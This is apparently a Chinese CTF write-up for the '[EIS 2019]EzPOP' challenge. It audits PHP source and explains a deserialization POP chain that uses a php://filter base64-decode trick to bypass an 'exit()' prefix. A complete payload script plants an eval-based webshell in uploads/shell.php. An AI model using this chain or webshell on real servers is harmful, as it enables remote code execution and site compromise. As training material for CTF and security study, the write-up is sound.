首页 > 其他分享 >[EIS 2019]EzPOP 代码审计 死亡绕过

[EIS 2019]EzPOP 代码审计 死亡绕过

时间:2024-07-30 17:39:57浏览次数:4  
标签:EIS base64 return serialize EzPOP 2019 expire data contents

点击查看代码
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;   // php://filter/write=convert.base64-decode/resource=uploads/.$name name是从A中的key来的,可控。
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize']; //$serialize =base64_decode

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);  // filename= "php://filter/write=convert.base64-decode/resource=uploads/.$name"

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);  //解码完成数据为abcPD9waHAgQGV2YWwoJF9QT1NUWyJhIl0pOyA/Pg==  其实是'abc'.base64_encode('<?php @eval($_POST["a"]); ?>'  所以需要再次decode

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);  // 利用点  文件名decode则前边的exit代码则会解码为base64不支持的字符会去掉,而后边只剩下<?php @eval($_POST["a"]); ?>
        

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

题目直接给了源码,审计。
点击查看代码
$data = "<?php\n//" . sprintf('%012d', $exitexpire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
可以看到利用点在这里,传参data为一句话木马来解决,需要绕过
点击查看代码
<?php\n//000000000000\nexit();?>   32个字符正好是4的倍数
那么可以知道的是$filename需要为php://filter/write=convert.base64-decode/resource=uploads/xxx.php

filename是通过getCacheKey来的,name是set的参数,在A::save触发set,key参数则是文件名xxx.php可控。

再看看$data,经过$this->serialize($value),value是set参数,serialize函数进去看看,发现return $serialize($data),而 $serialize是可控的,先往下看,value是通过$contents = $this->getForStorage();来的。

getForStorage
public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }
那么这里的cache可控,下一步可能有点难理解。

我们要是将$serialize设置为base64_decode,那么cache为空数组时,刚好可以进行解码。(给一句话木马前加字符是需要凑够4的倍数,因为经过decode一次后死亡代码变成了php//000000000000exit,长度不足4的倍数)

那么这时问题就清晰了。直接上payload:

payload
<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';

$a=new A($b,'shell.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));

echo urlencode(serialize($a));

标签:EIS,base64,return,serialize,EzPOP,2019,expire,data,contents
From: https://www.cnblogs.com/jocker-love-you/p/18333019

相关文章

  • [RoarCTF 2019]Easy Java
    [RoarCTF2019]EasyJavaStep1点击help按钮后发现:URL变成:url/Download?filename=help.docx而回显:java.io.FileNotFoundException:{help.docx}而当我尝试尝试POST,发现文件成功下载:Step2发现可能的漏洞点后,结合WEB-INF相关知识(见文末)可以下载WEB-INF/web.xmlPOST参数......
  • C++ - VS2019配置pthread线程库
    1.说明在VS里用MS编译器不能直接调用pthread库,需要先自行下载该库:http://sourceware.org/pub/pthreads-win32/pthreads-w32-2-9-1-release.zip解压后用得到的只有Pre-built.2文件夹下的文件。2.配置如下图分别配置三大项:包含目录-->...pthreads-w32-2-9-1-release\Pre-bu......
  • BUUCTF GWCTF2019 re3
    挺有意思的一题,记录一下主要思路为smc解密+AES算法扔进ida后找到主函数:发现函数地址异或,推测为smc,先按d转化为数据,然后直接使用python脚本解密:fromida_bytesimport*ea=0x402219foriinrange(0,224):patch_bytes(ea+i,bytes(ea+i)^0x99)选中按p生成......
  • Solution - Atcoder YPC2019E Odd Subrectangles
    首先对于\(0/1\)和为奇数,转化为异或为\(1\)来考虑。考虑如果已经确定了行的选取,又该如何计数。考虑对于每一列,都处理好在对应行的位置的异或值。然后记\(\operatorname{c}_0,\operatorname{c}_1\)表示列异或值为\(0/1\)的数量。知道了\(\operatorname{c}_0,\op......
  • [极客大挑战 2019]BabySQL
    [极客大挑战2019]BabySQL首先映入眼帘的是一个非常经典的登录界面![ctf]([极客大挑战2019]BabySQL.assets/ctf.png)我们先尝试判断一下这是什么注入点输入个1'看看怎么个事![image-20240729142647221]([极客大挑战2019]BabySQL.assets/image-20240729142647221.png)发现......
  • [GXYCTF2019]BabySQli
    [GXYCTF2019]BabySQli非常神奇的一道题,漏洞利用点在于联合查询时如果数据不存在,则会创建一个临时虚拟用户于是当前尝试username=admin,返回wrongpass则该用户名存在所以username:1'unionselect1,'admin','202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152......
  • [极客大挑战 2019]BabySQL
    [极客大挑战2019]BabySQL首先映入眼帘的是一个非常经典的登录界面我们先尝试判断一下这是什么注入点输入个1'看看怎么个事发现输入的1'被双引号包裹,再次输入1"显示密码不匹配,输入1'or1=1--+万能密码试试这里应该是过滤了or和+,用空格代替+尝试下大小写绕过不行,最后发......
  • [SUCTF 2019]CheckIn
    [SUCTF2019]CheckInStep发现上传文件试验后,Yourdiruploads/40faad96d40fbac7603474024cbb933aYourfiles:array(5){[0]=>string(1)"."[1]=>string(2)".."[2]=>string(9)".user.ini"[3]=>string(5)"1.jpg"......
  • [极客大挑战 2019]BabySQL
    [极客大挑战2019]BabySQL首先映入眼帘的是一个非常经典的登录界面我们先尝试判断一下这是什么注入点输入个1'看看怎么个事发现输入的1'被双引号包裹,再次输入1"显示密码不匹配,输入1'or1=1--+万能密码试试这里应该是过滤了or和+,用空格代替+尝试下大小写绕过不行,最后发......
  • [极客大挑战 2019]HardSQL
    [极客大挑战2019]HardSQLStep尝试报错注入库名'or(updatexml(1,concat(0x7e,database()),0x7e))#表名'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),0))#列名'or(updatexml(1,co......